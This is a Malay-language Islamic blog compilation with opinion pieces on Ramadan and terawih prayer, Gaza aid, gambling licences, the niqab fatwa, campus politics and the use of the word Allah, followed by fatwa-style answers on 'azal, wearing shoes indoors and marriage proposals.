Ahlan Ya Ramadan.. Syukur pada tuhan dengan nikmatnya kita dapat bersama-sama menjejakkan kaki sekali lagi ke madrasah Ramadan.  Di bulan ini jugalah menyaksikan sorotan peristiwa-peristiwa besar dalam sejarah islam diantaranya Perang Badar, penurunan Al-quran, penaklukan Al-quds oleh tentera islam Sallehuddin Al-Ayubi dan peristiwa2 besar ylain.

PUASA

Ramadan juga dapat diistilahkan sebagai bulan Allah memberikan galakkan kepada umatnya untuk mensyukuri segala nikmat yang diberi.  Kesyukuran di bulan ramadan ini boleh diumpamakan dengan seseorang yang kehausan, cukuplah sekadar terlihat air masak sahaja sudah  memadai membuatkan ianya terliur.  Ia memberi kesedaran kepada muslim untuk mensyukuri segala ujian dan nikmat yang telah diberi Allah apatah lagi kita yang diberi nikmat hidup di dalam negara yang aman.

TERAWIH

Sinonim dengan bulan penuh ganjaran berlipat ganda tidak hairanlah berbondong-bondong manusia memenuhi masjid untuk  solat terawih berjemaah. Alangkah baiknya jika suasana ini dapat di adaptasikan di dalam solat Fardhu yang lain.  sebagaimana dalam mafhum hadis Nabi SAW ” sesungguhnya baginda tidak pernah solat bersendirian( baginda solat berjemaah di masjid) kecuali solat-solat sunat. Kebiasaannya, masjid akan menjadi sesak ketika bermulanya Ramadan, namun ianya berubah menjadi lengang seperti sediakala ketika berada di pertengahan Ramadan. Alangkah indahnya jika amalan solat Fardhu berjemaah ini dapat dilakukan secara Istiqamah di bulan Ramadan sebagaimana yang kita lakukan untuk terawih ketika ini. Manakala terawih pula dilonggarkan untuk bersendirian dirumah sebagaimana yang dilakukan oleh nabi SAW didalam Sahih Bukhari ” dari Aisyah RA :  telah keluar Rasulullah SAW dari rumahnya menuju kemasjid untuk menunaikan solat pada suatu malam di bulan Ramadan lalu terlihat beberapa orang sahabat lantas mereka mengikut solat bersama, sehinggalah sampai ke hari yang ke tiga  semakin ramai sahabat yang keluar untuk bersolat malam bersama baginda sehinggalah sampai ke malam yang ke empat baginda tidak keluar menunaikan solat sunat di masjid lantas keesokan harinya ketika selesai solat subuh sahabat bertanya akan ketidak hadiran baginda pada malam tersebut lalu baginda menerangkan akan kegusaran solat sunat itu di jadikan kewajipan kepada umatnya selepas ketiadaan baginda”. Hadis ini jelas menunjukkan akan fleksibaliti solat terawih dan ianya berbeza dengan apa yang difahami di negara kita yang menganggap solat terawih itu  perlu di laksanakan secara berjemaah di masjid dan apabila tidak berkesempatan untuk pergi ke masjid ianya tidak dilakukan .

Salah tanggapan kedua ialah menganggap solat terawih sebagai solat yang dikhususkan pada bulan Ramadan sahaja. sebagaimana hadis aisyah RA yang di rakamkan dalam hadis Bukhari dalam bab Fadilat mendirikan bulan Ramadan. Aisyah RA ditanya oleh seorang sahabat bagaimana solat baginda ketika Ramadan, lalu Aisyah berkata :  sesungguhnya tidak ada penambahan dan pengurangan sebagaimana hari2 lain,sebelas rakaat kesemuanya, empaat rakaat diikuti dengan empat rakaat seterusnya dan kemudian di susuli dengan tiga rakaat witir, lalu Aisyah RA bertanya lagi adakah kau tidak tidur Ya Rasulullah sebelum witir,lalu baginda berkata : sesungguhnya hanya mataku sahaja yang tidur tetapi tidak pada hatiku. Hadis ini jelas menunjukkan amalan solat baginda tidak ada bezanya dengan amalan solat baginda ketika bulan2 selain Ramadan, cuma ianya berbeza dari segi istilah nama (terawih) yang dikhususkan pada bulan Ramadan. Namun intipati solat baginda adalah sama sahaja sebagaimana sdengan solat sunat(malam) baginda pada hari2 selain Ramadan.

Dalam penulisan kali ini penulis hanya menumpukan pada persamaan solat sunnat baginda pada bulan Ramadan dan hari2 selain Ramadan. Insya Allah di kesempatan lain kita akan membincangkan perbezaan rakaat pada solat sunat baginda…

P/s: Maaf jika ade kesilapan penulisan dan penyusunan ayat disebabkan baru bermula mood menulis selepas lama meninggalkanya……

Mungkin di dunia ini tiada lagi istilah kedamaian, keadilan, perkataan2 ini seharusnya di padam terus dari kamus2 yang ada di muka bumi ini.  Jika ianya masih wujud sekalipun ia hanyalah sekadar perkataan yang tidak membawa apa2 erti lagi dan mungkin ianya sekadar memenuhi muka surat sesebuah kamus.

Erti kedamaian yang difahami oleh barat adalah membenteras mereka-mereka yang tidak sehaluan dengan akta-akta yang telah dicorakkan oleh tangan2 orang-orang barat. Umat-Umat yang mempertahankan tanah tempat tumpah darah mereka dari imparialisma dianggap pengganas, manakala manusia-manusia yang datang menceroboh dianggap hero atas misi membenteras pengganas, inikah dia dinamakan keadilan?

Misi bantuan kemanusiaan ke Gaza kali ini diharapkan dapat membuka minda ramai masyarakat dunia tentang kesungguhan aktivis-aktivis dari pelbagai bangsa membantu rakyat Gaza.walaupun Usaha penghantaran bantuan dari darat melalui mesir telah disekat oleh kerajaan mesir sendiri, ianya tidak melemahkan semangat aktivis untuk mencuba bantuan dari arah laut pula.

Pencabulan Israel keatas kapal Marvi Marmala satu lagi siri kekejaman zionis laknatullah, kapal yang hanya membawa bantuan makanan,bahan binaan dan sebagainya diserang sehingga menyebabkan beberapa kematian seharusnya dikutuk masyarakat dunia. Dimana salahanya? kapal-kapal bantuan hanyalah melalui jalur laut antarabangsa, sama sekali tidak memasuki perairan Israel diikuti dengan aktivis-aktivis yang mengikut garis panduan misi bantuan PBB dengan tidak membawa senjata-senjata sama ada untuk menyerang ataupun mempertahankan diri diserang sdemikian rupa.

Mana perginya ahli2 politik, akademik,agama, bangsa2 arab? bantuan doa,suara,wang,tenaga anda diperlukan. yang berlainan fahaman politik perlu bersatu, yang berlainan fahaman agama perlu membantu. Media-media disarankan meletakkan liputan kekejaman Israel dimuka hadapan surat khabar, di permulaan berita-berita, bukan diletak keutamaan pada agenda politik. Bukan isunya lagi memaparkan kes prosiding mahkamh dimuka hadapan tetapi nilai maruah palestin perlu diutamakan.

Bayangkan aktivis2 misi bantuan palestine bukan sahaja beragama islam namun berbagai-bagai agama. Memalukan andai ada diantara kita muslim yang endah tak endah….

Kecewa dengan kenyataan beberapa orang menteri dan delegasinya yang menghalalkan pemberian lesen judi bola, lebih menyedihkan lagi kenyataan itu keluar dari mulut orang yang beragama islam ditambah pula dengan sikap sesetengah majlis-majlis dan jabatan-jabatan agama yang diam membisu tatkala isu ini mula menjadi bualan masyarakat. Sikap membisu oleh jabatan yang berwajib ini menimbulkan syak wasangka penulis, adakah diam tandanya setuju atau diam tandanya takut.

Mengapa sebelum ini ketika isu kalimah Allah, pihak2 ini sanggup berdemonstrasi walhal Isu kalimah Allah ini terdapat perbezaan pendapatnya, manakala Isu Judi ini sudah jelas2 terpampang haram hukumnya tetapi ianya sekadar dididamkan,kemana perginya suara2 lantang mereka.

Jika sikap berdiam diri ini diambil, maka isu ini akan diambil kesempatan oleh ahli2 politik untuk dijadikan modal kempen pilihan raya. Jika pihak2 yang telah dipertanggungjawabkan ini tidak melaksanakan kewajipan mereka apatah lagi orang2 awam yang suaranya kurang didengari oleh orang atasan mampu mengubahnya? fikir-fikirkan

Terkejut penulis dengan beberapa orang sahabat  yang tidak sehaluan dengan beliau menghina sehingga mendoakan agar kematian beliau membawa rahmat kepada seluruh alam. Terkedu dengan kenyataan tersebut penulis berdoa agar diri yang lemah ini tidak di uji sebegitu rupa.

Akibat fatwa beliau yang tidak disenangi ramai mengenai pemakaian purdah yang tidak dibenarkan kepada pelajar2 Al-Azhar telah menimbulkan situasi yang kurang selesa kepada golongan berniqab, walaupun ada sebahagian ulama’ yang berani mengkritik beliau namun ianya bukanlah menjadi satu ruang kepada kita yang masih mentah menghentam beliau secukupnya akibat pandangannya yang sehaluan.

Ya! dalam perbezaan pendapat  tidak salah untuk mengkritik dan menghentam mana2 pendapat yang bercanggah, seperti mana Imam As-Syafie Rahimahullah mengkritik Imam Hanafi Rahimahullah dalam bab Istihsan,Imam Ibnu hazmin mengkritik keras pendapat Imam As-Syafie Rahimahullah dalam bab kias , kritikan Imam Malik keatas Ibnu Ishak seorang yang hebat dalam bidang sirah Rasulullah  sehinggakan Imam Malik  menggelarkan beliau sebagai dajjal,dan juga kritikan Imam Abdul Rahman bin Al-lais yang keatas Imam Malik dengan tidak berpegang  Al-Quran dan As-sunnah apabila menerima Adat Ahli Madinnah sebagai hujjah. Namun kritikan2 keras ini tidaklah pula disusuli dengan doa bala keatas mereka, malah dalam banyak perkara yang mereka sepakati mereka saling puji memuji diantara mereka. Inilah salah satu uslub adab berbeza pendapat yang dapat diteladani dari Ulama’ terdahulu yang sepatutnya dijadikan contoh kepada generasi pelajar agama kini.

Berbeza pendapat dalam permasalahan cabang-cabang agama adalah lumrah, malah dalam hadis Rasulullah SAW dari Abu Qais : (Apabila berijtihad seorang hakim dan ijtihadnya benar maka dua ganjaran keatasnya dan apabila tersalah ijtihadnya maka satu ganjaran keatasnya) hadis ini secara amnya menunjukkan akan kepntingan berijtihad, sekalipun ianya tersilap Allah menjanjikan ganjaran keatasnya, tetapi siapalah kita yang berhak menilai sesuatu ijtihad itu benar atau salah?apatah lagi untuk menghukumnya?

Berbalik kepada ijithad Syeikh Mihamed Sayed Tantawi yang melarang pemakaian Niqab, Ulama’ terdahulu juga berbeza pendapat terhadap masalah ini, sebahagian  fuqaha’ mengatakan ianya wajib dan sebahagian mengatakan ianya sebagai adat pemakaian arab, perlu diingat ianya berkait rapat kepada penetapan had aurat wanita yang mana didalm masalah perbahasan aurat wanita ini sahabat juga berbeza pendapat. Kesimpulanya perbahasan ini masih lagi terbuka, terpulang utk kita  memilih pendapat yang mana namun tidak sesekali menempelak mereka2 yang berbeza dengan kita.

Setiap fatwa yang dikeluarkan oleh seorang mujtahid perlu dikaji dari sudut keadaan setempat mujtahid itu apabila mengeluarkan fatwa. Sesuatu fatwa itu boleh berubah mengikut zaman dan tempat, mungkin larangan memakai Niqab itu punyai sebab yang kukuh, dan mungkin larangan itu hanya dikhususkan di Al-Azhar sahaja tanpa tempat2 selainnya. Terdapat pelbagai kemungkinan yang perlu dikaji sebelum menghukum sesuatu fatwa itu…

P/s : jangan terlalu taksub kepada sesuatu pandangan sehingga menutup ruang2 pandangan yang lain!

Jihad adalah mempertahankan Islam bukan mempertahankan parti, Nasionalism adalah mempertahankan bangsa , bukan mempertahankan parti, Keadilan adalah untuk menusia sejagat bukan sekadar untuk parti.   “Islam tidak akan hilang taringnya tanpa PAS dan melayu takkan pupus dari muka bumi ini tanpa UMNO”

 Secara peribadi saya berpandangan bahawa selagimana politik kampus tidak dapat membebaskan diri dari pengaruh parti politik Malaysia, selagi itulah perjalan politik kampus akan terus berlandaskan kiblat parti politik.Sebahagian pemimpin pelajar yang sepatutnya mempunya kemampuan untuk menilai isu dan insiden secara kritis telah diikat pola pemikiran dan daya kritikal mereka semata-mata untuk berkhidmat untuk ideologi parti tertentu.Alangkah baiknya sekiranya PRK bertindak sebagai pentas melahirkan pemimpin yang mempunyai prinsip tersendiri dauga melahirkan penganalisis perjalanan politik Negara yang berkecuali.Sebaliknya apa yang berlaku pada hari ini adalah  kepimpinan yang ditarbiah diatas dasar perjuangan yang partisan.

Memang ada sebilangan pemimpin pelajar yang meletakkan konsistensi perjuangan melebihi kepentingan parti.Bahkan ada diantara merea yang begitu optimis menjalankan kebajikan dan membawa pembaharuan.Pada mereka parti ini sekadar medium untuk melaksanakan kewajipan dan tanggungjawab.Persoalannya berapa ramai yang sebegini?.Masalah yang paling ketara adalah cengkaman kuat parti politik dalam politik kampus.Cengkaman ini sebenarnya yang membentang jalan kearah membentuk jatidiri pemimpin pelajar yang lemah daya kritis sebaliknya redo dengan setiap ketetapan parti pilihan mereka.

Betapa besarnya kerugian jika sebahagian besar pemimpin pelajar yang sejak dari usia muda diajar berfikir dan bertindak secara partisan.Bahkan sehinga ke satu peringkat , partisan ini membentuk konsep asabiyah yang melampau.Ada yang beranggapan bahawa menggantung poster parti mereka adalah jihad tetapi jihad yang lebih besar adalah menjatuhkan poster parti lain.Ada yang lebih jijik dengan menabur fitnah bahkan yang lebih hina dari jijik dengan kononnya menyamar sebagai ahli parti lain dan menulis propadanga yang menonjolkan kelemahan atau sifat melampau parti lawan.

Mungkin antara perkara biasa dalam suasana politik kepartian Malaysia adalah politik wang , rahsuah , dan meraih sokongan calon-calon bebas secara tidak saksama.Bagaimana dengan budaya ini di kampus.Bermula dari menjanjikan  jawatan sehinggalah kepada  habuan wang tunai ,politik kampus tidak jauh bezanya dari suasana kotor parti politik Malaysia.

Hipotesisnya parti politik ini tidaklah terlalu sukar untuk difahami.Ia semudah percaturan berikut:

“Melompat ke parti awak adalah haram , melompat ke parti saya pula dikira kembali kepada fitrah manusia”

“Hinanya konspirasi mereka hendak menjatuhkan kerajaan perseketuan, konspirasi saya menjatuhkan kerajaan negeri pula tidak langsung tersasar dari lunas-lunas undang-undang”

“Wakil rakyat yang melompat ke parti saya adalah wira yang patut disanjung diatas keberanian, wakil rakrat yang melompat meninggalkan parti saya pula patut dipijak gambar mereka”.

Secara umum dapat dinyatkan bahawa tidak ada satu pun parti politik luar yang bersih sepenuhnya ,accountability dan benar-benar meletakkan asas keadilan mengatasi kepentingan parti.Dengan itu , menjadi tanggungjawab sebahagian pemimpin pelajar untuk bertindak sebagai agen yang membetulkan retorik dan prinsip politik Negara.Tidak wajar sekiranya kesemua mereka yang berkecimpung dalam arena politik kampus sekadar meletakkan matlamat tunduk dan patuh kepada agenda politik diluar.

Pada ketika ini , sudah terlampau banyak wajah-wajah pemimpin pelajar yang mengkagumi Dr Mahathir dan Anwar Ibrahim. Tetapi kita sebenarnya ketandusan pemimpin pelajar yang menyelusuri jejak langkah perjalanan mereka yang menghabiskan masa muda menentang arus , mencipta gelombang dalam memperjuangkan prinsip .Akhirnya parti politik berebut-rebut menagih mereka, bukannya mereka terkejar-kejar mencari parti.

Sebahagian pemimpin politik yang sudah terlalu lama berbangga menjaja cerita tentang kehebatan diri sendiri dalam belbagai bidang sepatutnya mula bertaubat.Sekarang masanya untuk melahirkan orang yang lebih hebat dari itu , bukan sekadar mengngkat diri anda sebagai ikon dan roll model berdasarkan cerita yang entahkan benar ataupun dongeng.

Penulis tidak terlibat secara tidak langsung dgn PRK dan mana-mana parti. Artikel ini ditulis berdasarkan cerita beberapa kawan yang terlibat sebagai calon dan petugas sukarela yang mewakili parti-parti tertentu.

Jalan penyelesaian krisis ini semakin bertambah buruk lagi apabilaterdapat beberapa pendapat yang berbeza dari pandangan tokoh2 agama tempatan, ia menambahkan lagi kecelaruan kepada masyarakat amnya terdiri daripada orang2 awam yang kurang arif  menilai isu ini.Secara amnya penulis bersetuju dengan pendapat menyatakan kalimah Allah boleh digunakan kepada agama-agama sam’iat atas dasar dalil :

Firman Allah: (maksudnya) “Dan Demi sesungguhnya! jika engkau (Wahai Muhammad) bertanya kepada mereka: “Siapakah yang menciptakan mereka?” sudah tentu mereka akan menjawab: “Allah!”. (jika demikian) maka bagaimana mereka rela dipesongkan? Dan (Dia lah Tuhan Yang mengetahui rayuan Nabi Muhammad) yang berkata: Wahai Tuhanku! Sesungguhnya mereka ini adalah satu kaum yang tidak mahu beriman!” ( al-Zukhruf ayat 87-88).

Jelas ayat diatas  secara terang-terangan tidak membantah penggunaan kalimah Allah kepada golongan selain muslim menggunakanya ditambah lagi dengan beberapa hadis dalam perjanjian hudaibiyyah ketika mana Rasulullah menukar lafaz bismillah ( dengan nama Allah) kepada bismikallahumma ( dengan nama mu Ya Allah) untuk meraikan bantahan orang quraisyh.

Namun berdasarkan keadaan setempat di Malaysi,  bagi meraikan situasi adat di negara kita adalah tidak sesuai nama Allah ini di gunakan selain dari agama Islam. Hal ini adalah kerana dalam kita memahami konteks suasana setempat (Malaysia) yang majoriti penduduknya beragama islam ditambah pula islam itu sendiri didalam keadaan yang amat lemah ketika ini, adalah lebih baik kita bersama-sama mempertahankan perkataan Allah itu, jika dibenarkan ia dikhuatiri membuka ruang mudah untuk musuh2 islam menjatuhkan islam. kaedah ini digunakan seperti mana kaedah sad zari’ah ( menutup lubang2 yang boleh ditembusi) menutup ruang2 yang membolehkan musuh2 islam menembusinya.

Mempertahankan nama Allah ini juga penting dari konteks local(tempatan) apabila kita menyelusuri semula hadis Rasulullah tadi ketika perjanjian Hudaibiyyah, jelas ketika itu Islam baru sahaja bertapak daorang islam ketika itu masih lagi dalam keadaan minoriti maka ia memerlukan kepada keadaan penggunaan nama Allah bg orng2 selain Islam untuk mudah mereka menerimanya. Penulis datangkan contoh, seperti mana keadaan dizaman perang, larangan menyembelih daging unta,kerana ketika itu unta amat diperlukan untuk dijadikan kenderaan untuk berperang, namun selepas keadaan kembali tenang ia dibenarkan semula. contoh ini jelas menunjukkan adakalanya hukum itu berubah mengikut keadaan dan tempat.

Ada juga yang berpendapat jika kita membenarkan penggunaanya kepada selain muslim ia akan menyebabkan kekeliruan kepada orang awam apabila nama Allah ini ditulis di journal,buku dan artikel oleh orang selain Muslim. Mereka mungkin tidak dapat membezakannya akibat kurang ilmu agamanya namun bagi penulis sampai bila kita mampu mempertahankan kalimah Allah ini semata-mata untuk menjaga kemaslahatan orang awam sedangkan mereka tidak berusaha untuk mendalami ilmu agamanya. Ya! mungkin hari ini kita mampu mempertahankannya esok, lusa bagaimana?.. jesteru itu perkara pokok yang perlu kita bersama-sama laksanakan adalah menguatkan semula kefahaman masyarakat tentang Aqidah, perbanyakkan lagi program berunsurkan kemahaman islam agar masyarakat kita mampu bersedia menghadapi cabaran akan datang.

Perkara yang teramat penting ketika ini adalah baiknya andai tokoh2 agama kita dapat berkerjasama bersepakat diatas satu pendapat dalam isu ini, kerana ia melibatkan masalah ummat. andai berpecahnya kapten2 kapal maka huru-hara anak2 kapal dibawahnya. Penulis berpendapat adalah baik kiranya mengikut pandangan majoriti ketika ini walaupun penulis secara peribadi condong ke arah pendapat minoriti. Ini adalah kerana pandangan majoriti itu sahajalah jalan yang terbaik untuk hati2 kita bersatu di ketika ini.

isu yang paling hangat ketika ini adalah doa bala tuan guru, dalam hati penulis terdetik.. risau juga orang2 UMNO dengan doa tuan guru, yela orang alim biasanya doanya termakbul. Mungkin sebab itulah ramai orang2 UMNO buat perarakan menyeru agar Tok Guru tarik balik doa nya. jadi apalah yang dirisaukan sangat andai kerajaan amanah dalam isu royalti minyak nya di Kelantan semestinya bala itu tidak akan sampai.

Apa yang jenakanya apabila ada orang yang cuba2 menjadi ustaz keluar di media menasihati tok guru disebabkan tindakan tok guru itu bertentangan dengan tindakan Rasulullah ketika baginda di Taif, ada pula manusia2 yang menyuruh tok guru agar bertaubat dengan tindakanya dan menyatakan beliau bukanlah pemimpin islam sebenar. adakah ia nya adil apabila anda menghukum satu kesilapan ke atas semua tindakan?

di sudut negatifnya doa tok guru itu bukanlah cara terbaik dalam islam untuk berdakwah, di sudut positifnya ia satu gertakan untuk pemimpin teratas agar melaksanakan tanggung jawabnya..

P/s : tiada manusia yang maksum selain Rasulullah…sesiapa sahaja boleh melakukan kesilapan, andai tersilap tegurlah ia…bukan menghina

2.saya mempunyai anak yang berusia 17 bulan dan anak saya sangat aktif dan sering minta untuk di bawa berjalan. Kadangkala saya cuma memakaikannya kasut dan membawanya berjalan di dalam rumah ataupun meletakkannya di dalam kereta bayi dan menolaknya di dalam rumah. Apakah hukumnya membiarkan kasut yg sudah di guna pakai di luar rumah dan kereta bayi yang tayarnya juga sudah di bawa berjalan di luar rumah untuk di gunakan di dalam rumah? Adakah ianya najis? Kerana saya pernah lihat orang2 barat dan org2 arab membawa masuk kasut mereka ke dalam rumah

Jawapan pertama:

??????? ?????? ??????

Tidak dapat dipastikan kekuatan riwayat kisah yang menyatakan bahawa terdapat kaum yang dilaknat kerana melepaskan air mani di luar faraj. Kebanyakan kitab-kitab syarah hadith utama tidak menyebutkan kisah tersebut. Dengan itu saya berpandangan bahawa kisah itu tidak mempunyai asas yang kukuh. Pada kebiasaannnya ulama’ fiqh ketika membahaskan sesuatu bab mereka tidak akan meninggalkan sebarang kisah yang berkait rapat dengan bab itu.

Persoalan ini ada kaitannya dengan sebuah permasalahan besar yang beraku sejak dari zaman Rasulullah lagi iaitu masalah ‘azal. Imam an-Nawawi mentakrifkan ‘azal sebagai :

“ Seorang lelaki yang menggauli isterinya, Apabila hampir mencapai kemuncak, dia mengeluarkan zakar dan mengalirkan air mani diluar faraj”. (Syarah Sahih Muslim)

Rasulullah pernah menyebutkan bahawa ‘azal ini merupakan pempunuhan yang tersembunyi sebagaimana yang diriwayatkan dari Imam Muslim.

Imam Ibn Hazm berpegang dengan hadith ini untuk mengaharamkan ‘azal. Imam Ibn Hibban juga mengharamkan perbuatan ‘azal. Bahkan beliau meletakkan bab khas didalam kitab Sahihnya “ Menyebutkan khabar yang menunjukkan bahawa perbuatan ini berdosa dan tidak diharuskan” (Fathul bari)

Tetapi terdapat sebuah hadith yang diriwayatkan oleh imam at-Tirmidzi dan an-Nasa’i berkenaan pandangan orang yahudi yang menganggap bahawa ‘azal merupakan pembunuhan yang kecil : Rasulullah menjawab “ Orang yahudi telah menipu, Sekiranya Allah mengkehendaki untuik menciptakan sesuatu, tiada sesiapa yang mampu menghalang.

Secara zahirnya hadith ini bercanggah dengan hadith Muslim yang menyatakan bahawa ‘azal merupakan pembunuhan yang tersembunyi . Imam al-Baihaqi menggabungkan di antara makna kedua-dua hadith ini dan menyatakan bahawa hadith Muslim membawa maksud dimakruhkan ‘azal. Imam Ibn hajar menyenaraikan beberapa cara menggabungkan di antara kedua-dua hadith ini. Diantaranya yang paling jelas adalah , yahudi menganggap bahawa ‘azal adalah sebahagian dari bentuk pembunuhan, dan menurut mereka, ia pembunuhan kecil. Rasulullah membantah pendapat mereka dalam hadith riwayat at-Tirmidzi dan an-Nasa’i . Bahkan menurut Islam, ‘azal sekadar pembunuhan yang tersembunyi. Disebutkan di dalam hadith perkataan pembunuhan yang tersembunyi kerana pada hakikatnya ia bukanlah merupakan bentuk pembunuhan. Hanya terdapat persamaan diantara ‘azal dan pembunuhan dalam menghalang proses kelahiran. Kenyataan ini sekaligus membantah yahudi yang mengganggap bahawa Azal merupakan sebahagian dari pembunuhan yang kecil.

Terdapat juga beberapa hadith yang yang menunjukkan keharusan melakukan ‘azal. Diantaranya adalah

Hadith yang diriwayatkan oleh Imam al-Bukkhari dari jabir : Kami melakukan ‘azal sedangkan al-Quran sedang turun ( dan Allah tidak melarang dari melakukannya)

Hadith ini menunjukkan bahawa Rasulullah tidak melarang para sahabat dari melakukan ‘azal dan Allah tidak menurunkan ayat yang mencela perbuatan ini. Seandainya perbuatan ini adalah haram dan diakukan tanpa pengetahuan RAsulullah , semestinya Allah akan menurunkan ayat membantah perbuatan mereka ini , tetapi Rasulullah mendiamkan diri dan Allah tidak menegur mereka, ini dalil kuat bagi membuktikan bahawa ‘azal ini tidak diharamkan.

Sebuah hadith yang diriwayatkan oleh Imam Muslim dari Abu Said al-Khudri : Apabila Rasulullah ditanya oleh para sahabat berkenaan hukum melakukan ‘azal , baginda bersabda “ Tidaklah kamu perlu meninggalkan perbuatan itu, Apa sahaja makhluk yang telah Allah tetapkan kejadiannaya sehingga ke hari kiamat pasti akan berlaku”

Hadith ini menunjukkan bahawa tidak ada perbezaan diantara melakukan ‘azal ataupun meninggalkannya. Seandainya Allah telah menetapkan bahawa kelahiran itu pasti akan terjadi , tiada sesiapa yang dapat menolak kehendak Allah. Bukanlah suatu perkara yang mustahil apabila sebahagian dari air mani seseorang mengalir keluar sebelum mencapai kemuncak jima’.

Berdasarkan hadith-hadith ini, sebahagian besar ulama’ berpandangan bahawa perbuatan ‘azal tidaklah diharamkan. Imam an-Nawawi berpandangn bahawa hukum ‘azal ini adalah makruh bahkan sebahagian ulama’ seperti ibn Hajar memilih pandangan bahawa perbuatan ‘azal diharuskan tetapi lebih baik kalau tidak melakukannya.

Imam al-Hahamain pula menyatakan bahawa sebab pengharaman adalah kerana takutkan kemiskinan. Bagi sesiapa yang melakukan ‘azal disebabkan oleh perkara yang lain, maka hilanglah pengharaman ‘azal.

Imam Ibn hajar al-Asqalani mengaitkan masalah ini dengan perbuatan sebahagian wanita yang memakan pil merancang kelahiran . Sekiranya ‘azal dibenarkan, maka tiada sebab untuk mengharamkan penggunaan cara lain bagi merancang keluarga. Secara umumnya ‘azal juga merupakan sebahagian dari proses merancang keluarga.

Saya berpandangan bahawa tidaklah menjadi satu kesalahan untuk sesebuah keluarga merancang kelahiran dengan menggunakan pil ataupun cara-cara lain yang tidak membawa mudharat tetapi yang lebih baik adalah membiarkan hubungan suami isteri berlangsung secara semulajadi tanpa menggunakan kaedah merancang keluarga.

Wallahu a’lam

(Rujukan : fathul Bari , Syarah Sahih Muslim , Aun al-ma’bud)

Jawapan kedua:

??? ???? ?????? ??????

Tidak ada dalil sahih yang mengharamkan perbuatan memakai kasut didalam rumah. Bahkan Rasulullah sendiri membenarkan para sahabat untuk memakai kasut ketika sedang mendirikan Solat.

Di dalam sebuah Hadith yang diriwayatkan dari Abu Hurairah, Rasulullah bersabda

“Apabila seseorang daripada kamu mendirikan solat , maka pakailah kedua-dua ’sandal’nya ataupun tanggalkanlah kedua-duanya dan jangan menggunakan ’sandal’ untuk menyakiti orang lain”.

(Al-Hakim, At-Tabrani, Ibn Hibban, Ibn Khuzaimah)

Dalam hadith yang lain yang diriwayatkan dari Syadad bin Aus, Rasulullah bersabda

“Liinilah Yahudi dan Nasrani , kerana sesungguhnya mereka tidak mendirikan solat dengan memakai ’sandal’ dan kasut mereka”

(Abu Daud , Al-Hakim , Ibn Hibban)

Kasut yang dibenarkan penggunaannya ketika solat bukanlah kasut yang sekadar digunakan untuk berjalan-jalan di dalam rumah sahaja. Bahkan merangkumi kesemua jenis kasut yang digunakan dalam kehidupan seharian. Buktinya adalah sebuah hadith yang menggambarkan keadaan dizaman Rasulullah:

Dari Abu Said Al-Khudri berkata: Ketika Rasulullah sedang solat bersama-sama dengan para sahabat , tiba-tiba baginda menanggalkan ’sandal’nya dan meletakkannya di sebelah kiri baginda. Apabila para sahabat melihat perbuatan tersebut , mereka juga turut menanggalkan kasut masing-masing. Apabila telah selesai dari menunaikan solat , Rasulullah bertanya kepada mereka apakah sebab mereka menganggalkan ’sandal’ masing-masing. Para sahabat menjawab engkau telah menanggalkan ’sandal’mu maka kami pun menanggalkan ’sandal’ kami. Rasulullah bersabda “ Sesungguhnya Jibril telah datang kepadaku mengkhabarkan bahawa terdapat najis pada [tapak] kasutku. Apabila seseorang daripada kamu datang ke masjid , maka hendaklah ia memastikan [kebersihan tapak kasutnya]. Sekiranya dia melihat najis pada tapak kasutnya maka hendaklah dia menggeser-geserkan kasutnya dan memakainya ketika Solat.

(Abu Daud, Ahmad)

Hadith ini dengan jelas menunjukkan bahawa , seandainya terdapat najis pada permukaan kasut sekalipun , maka sudah memadai dengan menggeser-geserkan permukaan itu pada tanah untuk mengalihkan najis dan selepas itu ia sudah dikira suci untuk menunaikan solat. Bahkan dalam kisah ini Rasulullah tidak mula membatalkan solatnya dan memulakan semula solat, baginda sekadar menanggalkan kasut sahaja.

Satu kaedah yang menjadi asas dalam fiqh islam adalah ,

“ Keyakinan tidak dapat dihilangkan dengan sekadar hanya syak”

Berdasarkan kaedah ini, ulama’ menyebutkan bahawa pada asalnya sesuatu perkara itu dianggap tidak ada selagi belum dapat dibuktikan kewujudannya. Najis hanya dapat dibuktikan dengan kewujudan, rasa, warna ataupun dan bau. Selagi tidak wujud salah satu dari ketiga-tiga unsur ini, sesuatu perkara tidak dinggap kotor ataupun bernajis. Inilah pandangan yang dipegang oleh ulama’ hadith dan fiqh yang melihat Islam dari konteks agama yang mudah. Rasulullah bersabda dalam sebuah hadith yang diriwayatkan dari Abu Hurairah :

“ Sesungguhnya agama ini adalah mudah. Tiadalah sesiapa yang akan menyusahkan agama melainkan pasti dia akan dikalahkan”

(R. Al-Bukhari)

Tetapi sebahagian golongan tasauf dan tarikat telah melampau-lampau di dalam permasalahan ini. Mereka menimbulkan syubhat terhadap kesemua perkara. Mereka melarang dari mencampurkan di antara baju yang digunakan untuk solat dan baju-baju yang lain ketika mencuci baju, ramai juga pengikut-pengikut mereka yang sering mengulang-ulang takbiratul ihram dan menganggap bahawa menyentuh budak lelaki yang belum berkhatan akan membatalkan wudhu dan solat. Sesungguhnya kesemua pandangan ini tiada asasnya di dalam Sunnah Rasulullah. Kebaikan hanyalah dengan mengikut Sunnah. Sesiapa yang berpaling dari petunjuk Sunnah pasti akan tersesat jalan.

(Fatwa ini diterjemahkan tanpa sebarang tambahan dan pengurangan daripada kitab Majmu’ al Fatawa)

Syaikh Ibn Taimiyyah ditanya berkenaan seorang lelaki yang meminang seorang perempuan yang sudah bertunang dengan orang lain. Adakah hal ini diharuskan?

Jawapan:

Segala puji bagi Allah. Telah tsabit dalam hadith yang sahih sesungguhnya Rasulullah bersabda “ Tidak dihalalkan untuk sesorang lelaki meminang atas pinangan orang lain dan [tidak dihalalkan] seorang penjual menjual sesuatu yang telah ditempah oleh seseorang kepada orang lain”.

Disebabkan hadis ini keempat-empat imam mazhab dan imam-imam selain mereka mengharamkan perbuatan ini sebagaimana yang dinaqalkan daripada perkataan mereka.

Mereka berbeza pandangan berkenaan hukum perkahwinan yang kedua [ antara seorang lelaki dengan tunang orang lain] kepada dua pandangan.

Pandangan yang pertama adalah pernikahan itu terbatal : Ini merupakan pandangan Imam Malik dan salah satu riwayat daripada Imam Ahmad. Mereka berhujah bahawa mengahwini seorang perempuan yang sedang bertunang dengan orang lain lebih besar pengharamannya daripada meminang seorang perempuan yang sedang bertunang dengan orang lain.

Pandangan kedua ialah pernikahan itu sah: Ini merupakan pandangan Imam Abu Hanifah, Imam Asy-Syafie dan riwayat yang lain daripada Imam Ahmad. Mereka berhujah bahawa perkara yang diharamkan berlaku sebelum  berlangsungnya akad perkahwinan, iaitu pertunangan.

